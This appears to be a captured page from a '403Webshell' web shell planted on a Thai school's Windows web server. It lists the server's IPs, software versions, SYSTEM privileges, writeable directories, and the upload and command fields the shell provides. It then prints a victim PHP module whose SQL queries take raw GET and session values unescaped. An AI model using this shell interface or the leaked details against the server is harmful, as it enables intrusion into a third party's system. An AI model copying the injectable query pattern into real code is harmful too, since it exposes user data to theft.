403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/dantabtako/modules/personal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/dantabtako/modules/personal/mytabain.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<?
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
?>
<div align="left">
	  <table cellspacing="0" cellpadding="0" width="100%" height=450 border="0">
        <tbody>
          <tr>
            <td valign="top" width="100%" > <div align="center">
			<table width="100%">
                          <tr>   
						<td align="center"">
							<a href='index.php'>
                        <font color=red><b>แสดงข้อมูล</b></font>
							</td>
							</tr>
							</table>
                <table cellspacing="0" cellpadding="0" width="98%" border="0">
                  <tbody>
                    <tr>
                      <td><table width="100%">
                          <tr>
                            <td align="center">
                              <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0">
                                <tr>
                                  <td align="center">
                                      <!-- แสดงผลรายการสมาชิกเว็บ -->
<?
//////////////////////////////////////////// แสดงรายชื่อสมาชิกเว็บ
if($_GET[op] == ""){
if($_GET[id]){
	$SQLwhere = " id='".$_GET[id]."' ";
	$SQLwhere2 = " WHERE id='".$_GET[id]."' ";
}
$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 200 ;
$SUMPAGE = $db->num_rows(TB_user,"id","");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
?>
<form action="?name=user&amp;file=user_cp&amp;op=user_del&amp;action=multidel" method="post" name="myform" id="myform">
<table width="100%" cellspacing="2" cellpadding="1" >
  <tr bgcolor="#00FFFF" height=25> 
    <td rowspan="2"  align=center>ที่</td>
    <td rowspan="2"  align=center>ชื่อ - สกุล</td>
    <td height="37" colspan="4"  align=center>ข้อมูลการพัฒนาของ<? echo $arr[user][category_name];?></td>
  </tr>
  <tr bgcolor="#336633" height=25> 
    <td  align=center bgcolor="#00FFFF">ข้อมูลรางวัล</td>
    <td height="37"  align=center bgcolor="#00FFFF">ดูรายการ</td>
    <td  align=center bgcolor="#00FFFF">ข้อมูลการอบรม</td>
    <td  align=center bgcolor="#00FFFF">ดูรายการ</td>
  </tr>
 <?
$res[user] = $db->select_query("SELECT * FROM ".TB_user." $SQLwhere2 ORDER BY id ASC LIMIT $goto, $limit ");
$i=1;
while($arr[user] = $db->fetch($res[user])){
	$res[groups] = $db->select_query("SELECT * FROM ".TB_ADMIN_GROUP." WHERE id='".$arr[usersch][level]."' ");
	$arr[groups] = $db->fetch($res[groups]);
?>				
<tr bgcolor="#FFFFFF" height=25> 
    <td width="5%"  align=center><? echo"".$i?></td>
    <td width="26%"  ><A HREF="?name=approvalkru&file=myreport&sangkad=<?=$arr[user][id];?> "><? echo $arr[user][category_name];?></a></td>
<td width="8%"  align=center>
<a href="?name=personal&amp;file=addawards&op=awards_add&amp;id= <?=$arr[user][id];?>"><font color=red>เพิ่มข้อมูล</font></a>
	</td>
    <td width="8%"  align=center>
<A HREF="?name=personal&file=readawards&id=<?=$arr[user][id];?> "><img src="images/read.png"  width="20" height="20"align="middle" border="0" /></a>
	</td>
<td width="8%"  align=center>
<a href="?name=personal&amp;file=addcourse&op=course_add&amp;id= <?=$arr[user][id];?>"><font color=red>เพิ่มข้อมูล</font></a></td>
<td width="8%"  align=center><A HREF="?name=personal&file=readcourse&id=<?=$arr[user][id];?> "><img src="images/read.png"  width="20" height="20"align="middle" border="0" /></a></td>
</tr>
<tr bgcolor=FFFFFF>
<td colspan="9" height="1" class="dotline"></td>
 </tr>
<?
$i++;
 } 
?>
</table>
</form>
<div align="left">
  <?
	SplitPage($page,$totalpage,"?name=tkk6&file=userkm");
	echo $ShowSumPages ;
	echo $ShowPages ;
}
?>
</div>
                                  </td>
                                </tr>
                              </table>
									</td>
                                </tr>
                              </table>
                            </td>
                          </tr>
                      </table>
					  </td>
                    </tr>
                  </tbody>
                </table>

Youez - 2016 - github.com/yon3zu
LinuXploit